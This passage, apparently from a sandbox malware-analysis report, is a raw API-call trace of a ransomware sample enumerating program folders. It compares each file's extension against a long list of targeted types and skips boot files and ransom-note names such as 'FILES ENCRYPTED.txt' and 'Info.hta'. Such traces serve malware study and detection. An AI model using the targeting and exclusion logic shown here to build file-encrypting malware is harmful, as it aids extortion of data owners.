(lpString1=".exr", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".f4v") returned 4 [0182.193] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".fido") returned 5 [0182.193] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.193] lstrlenW (lpString=".flm") returned 4 [0182.193] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".flv") returned 4 [0182.193] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".frm") returned 4 [0182.193] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".fxg") returned 4 [0182.193] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.194] lstrlenW (lpString=".geo") returned 4 [0182.194] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.194] lstrlenW (lpString=".gif") returned 4 [0182.194] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.194] lstrlenW (lpString=".grs") returned 4 [0182.194] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.194] lstrlenW (lpString=".gz") returned 3 [0182.194] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.194] lstrlenW (lpString=".h") returned 2 [0182.194] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.194] lstrlenW (lpString=".hdr") returned 4 [0182.194] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.194] lstrlenW (lpString=".hpp") returned 4 [0182.194] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.194] lstrlenW (lpString=".hta") returned 4 [0182.194] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.195] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0182.195] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.195] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.195] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0182.196] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0182.196] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0182.196] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0182.196] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ") returned 100 [0182.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0182.328] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.329] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.329] lstrlenW (lpString="index.html") returned 10 [0182.329] lstrlenW (lpString=".1cd") returned 4 [0182.329] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.329] lstrlenW (lpString=".3ds") returned 4 [0182.329] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.329] lstrlenW (lpString=".3fr") returned 4 [0182.329] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.329] lstrlenW (lpString=".3g2") returned 4 [0182.329] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.329] lstrlenW (lpString=".3gp") returned 4 [0182.329] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.329] lstrlenW (lpString=".7z") returned 3 [0182.329] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.329] lstrlenW (lpString=".accda") returned 6 [0182.329] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.329] lstrlenW (lpString=".accdb") returned 6 [0182.329] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.329] lstrlenW (lpString=".accdc") returned 6 [0182.329] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.330] lstrlenW (lpString=".accde") returned 6 [0182.330] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.330] lstrlenW (lpString=".accdt") returned 6 [0182.330] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.330] lstrlenW (lpString=".accdw") returned 6 [0182.330] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.330] lstrlenW (lpString=".adb") returned 4 [0182.330] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.330] lstrlenW (lpString=".adp") returned 4 [0182.330] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.330] lstrlenW (lpString=".ai") returned 3 [0182.330] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.330] lstrlenW (lpString=".ai3") returned 4 [0182.330] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.330] lstrlenW (lpString=".ai4") returned 4 [0182.330] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.330] lstrlenW (lpString=".ai5") returned 4 [0182.330] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.330] lstrlenW (lpString=".ai6") returned 4 [0182.330] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.330] lstrlenW (lpString=".ai7") returned 4 [0182.330] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.330] lstrlenW (lpString=".ai8") returned 4 [0182.330] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.331] lstrlenW (lpString=".anim") returned 5 [0182.331] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.331] lstrlenW (lpString=".arw") returned 4 [0182.331] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.331] lstrlenW (lpString=".as") returned 3 [0182.331] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.331] lstrlenW (lpString=".asa") returned 4 [0182.331] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.331] lstrlenW (lpString=".asc") returned 4 [0182.331] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.331] lstrlenW (lpString=".ascx") returned 5 [0182.331] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.331] lstrlenW (lpString=".asm") returned 4 [0182.331] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.397] lstrlenW (lpString=".asmx") returned 5 [0182.397] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.397] lstrlenW (lpString=".asp") returned 4 [0182.397] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.397] lstrlenW (lpString=".aspx") returned 5 [0182.397] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.398] lstrlenW (lpString=".asr") returned 4 [0182.398] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".asx") returned 4 [0182.398] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".avi") returned 4 [0182.398] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".avs") returned 4 [0182.398] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".backup") returned 7 [0182.398] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.398] lstrlenW (lpString=".bak") returned 4 [0182.398] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".bay") returned 4 [0182.398] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".bd") returned 3 [0182.398] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.398] lstrlenW (lpString=".bin") returned 4 [0182.398] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".bmp") returned 4 [0182.398] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".bz2") returned 4 [0182.398] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.398] lstrlenW (lpString=".c") returned 2 [0182.398] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.398] lstrlenW (lpString=".cdr") returned 4 [0182.399] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".cer") returned 4 [0182.399] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".cf") returned 3 [0182.399] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.399] lstrlenW (lpString=".cfc") returned 4 [0182.399] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".cfm") returned 4 [0182.399] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".cfml") returned 5 [0182.399] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.399] lstrlenW (lpString=".cfu") returned 4 [0182.399] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".chm") returned 4 [0182.399] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".cin") returned 4 [0182.399] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".class") returned 6 [0182.399] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.399] lstrlenW (lpString=".clx") returned 4 [0182.399] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.399] lstrlenW (lpString=".config") returned 7 [0182.399] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.399] lstrlenW (lpString=".cpp") returned 4 [0182.399] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".cr2") returned 4 [0182.400] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".crt") returned 4 [0182.400] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".crw") returned 4 [0182.400] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".cs") returned 3 [0182.400] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.400] lstrlenW (lpString=".css") returned 4 [0182.400] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".csv") returned 4 [0182.400] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".cub") returned 4 [0182.400] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".dae") returned 4 [0182.400] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".dat") returned 4 [0182.400] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".db") returned 3 [0182.400] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.400] lstrlenW (lpString=".dbf") returned 4 [0182.400] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".dbx") returned 4 [0182.400] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.400] lstrlenW (lpString=".dc3") returned 4 [0182.401] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".dcm") returned 4 [0182.401] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".dcr") returned 4 [0182.401] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".der") returned 4 [0182.401] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".dib") returned 4 [0182.401] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".dic") returned 4 [0182.401] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".dif") returned 4 [0182.401] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".divx") returned 5 [0182.401] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.401] lstrlenW (lpString=".djvu") returned 5 [0182.401] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.401] lstrlenW (lpString=".dng") returned 4 [0182.401] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".doc") returned 4 [0182.401] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.401] lstrlenW (lpString=".docm") returned 5 [0182.401] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.401] lstrlenW (lpString=".docx") returned 5 [0182.402] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.402] lstrlenW (lpString=".dot") returned 4 [0182.402] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.402] lstrlenW (lpString=".dotm") returned 5 [0182.402] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.402] lstrlenW (lpString=".dotx") returned 5 [0182.402] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.402] lstrlenW (lpString=".dpx") returned 4 [0182.402] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.402] lstrlenW (lpString=".dqy") returned 4 [0182.402] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.402] lstrlenW (lpString=".dsn") returned 4 [0182.402] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.402] lstrlenW (lpString=".dt") returned 3 [0182.402] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.402] lstrlenW (lpString=".dtd") returned 4 [0182.402] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.402] lstrlenW (lpString=".dwg") returned 4 [0182.403] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.403] lstrlenW (lpString=".dwt") returned 4 [0182.403] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.403] lstrlenW (lpString=".dx") returned 3 [0182.403] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.403] lstrlenW (lpString=".dxf") returned 4 [0182.403] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.403] lstrlenW (lpString=".edml") returned 5 [0182.403] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.403] lstrlenW (lpString=".efd") returned 4 [0182.403] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".elf") returned 4 [0182.404] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".emf") returned 4 [0182.404] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".emz") returned 4 [0182.404] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".epf") returned 4 [0182.404] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".eps") returned 4 [0182.404] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".epsf") returned 5 [0182.404] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.404] lstrlenW (lpString=".epsp") returned 5 [0182.404] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.404] lstrlenW (lpString=".erf") returned 4 [0182.404] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".exr") returned 4 [0182.404] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".f4v") returned 4 [0182.404] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.404] lstrlenW (lpString=".fido") returned 5 [0182.404] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.404] lstrlenW (lpString=".flm") returned 4 [0182.404] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".flv") returned 4 [0182.405] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".frm") returned 4 [0182.405] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".fxg") returned 4 [0182.405] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".geo") returned 4 [0182.405] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".gif") returned 4 [0182.405] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".grs") returned 4 [0182.405] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".gz") returned 3 [0182.405] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.405] lstrlenW (lpString=".h") returned 2 [0182.405] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.405] lstrlenW (lpString=".hdr") returned 4 [0182.405] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".hpp") returned 4 [0182.405] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.405] lstrlenW (lpString=".hta") returned 4 [0182.406] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.406] lstrlenW (lpString=".htc") returned 4 [0182.406] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.406] lstrlenW (lpString=".htm") returned 4 [0182.406] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.406] lstrlenW (lpString=".html") returned 5 [0182.406] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.406] lstrlenW (lpString="index.html") returned 10 [0182.406] lstrlenW (lpString=".NEWS") returned 5 [0182.406] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0182.406] lstrlenW (lpString="index.html") returned 10 [0182.406] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0182.406] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0182.406] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0182.406] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0182.406] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0182.406] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0182.406] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0182.406] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0182.406] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\index.html") returned 111 [0182.406] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x26a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.407] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.407] lstrlenW (lpString=".1cd") returned 4 [0182.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.407] lstrlenW (lpString=".3ds") returned 4 [0182.407] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.407] lstrlenW (lpString=".3fr") returned 4 [0182.407] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.407] lstrlenW (lpString=".3g2") returned 4 [0182.407] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.407] lstrlenW (lpString=".3gp") returned 4 [0182.407] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.407] lstrlenW (lpString=".7z") returned 3 [0182.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.407] lstrlenW (lpString=".accda") returned 6 [0182.407] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.407] lstrlenW (lpString=".accdb") returned 6 [0182.407] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.407] lstrlenW (lpString=".accdc") returned 6 [0182.407] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.407] lstrlenW (lpString=".accde") returned 6 [0182.407] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.408] lstrlenW (lpString=".accdt") returned 6 [0182.408] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.408] lstrlenW (lpString=".accdw") returned 6 [0182.408] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.408] lstrlenW (lpString=".adb") returned 4 [0182.408] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".adp") returned 4 [0182.408] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".ai") returned 3 [0182.408] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.408] lstrlenW (lpString=".ai3") returned 4 [0182.408] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".ai4") returned 4 [0182.408] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".ai5") returned 4 [0182.408] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".ai6") returned 4 [0182.408] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".ai7") returned 4 [0182.408] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".ai8") returned 4 [0182.408] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.408] lstrlenW (lpString=".anim") returned 5 [0182.408] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.408] lstrlenW (lpString=".arw") returned 4 [0182.409] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".as") returned 3 [0182.409] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.409] lstrlenW (lpString=".asa") returned 4 [0182.409] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".asc") returned 4 [0182.409] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".ascx") returned 5 [0182.409] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.409] lstrlenW (lpString=".asm") returned 4 [0182.409] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".asmx") returned 5 [0182.409] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.409] lstrlenW (lpString=".asp") returned 4 [0182.409] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".aspx") returned 5 [0182.409] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.409] lstrlenW (lpString=".asr") returned 4 [0182.409] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".asx") returned 4 [0182.409] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".avi") returned 4 [0182.409] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.409] lstrlenW (lpString=".avs") returned 4 [0182.410] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".backup") returned 7 [0182.410] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.410] lstrlenW (lpString=".bak") returned 4 [0182.410] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".bay") returned 4 [0182.410] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".bd") returned 3 [0182.410] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.410] lstrlenW (lpString=".bin") returned 4 [0182.410] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".bmp") returned 4 [0182.410] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".bz2") returned 4 [0182.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".c") returned 2 [0182.410] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.410] lstrlenW (lpString=".cdr") returned 4 [0182.410] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".cer") returned 4 [0182.410] 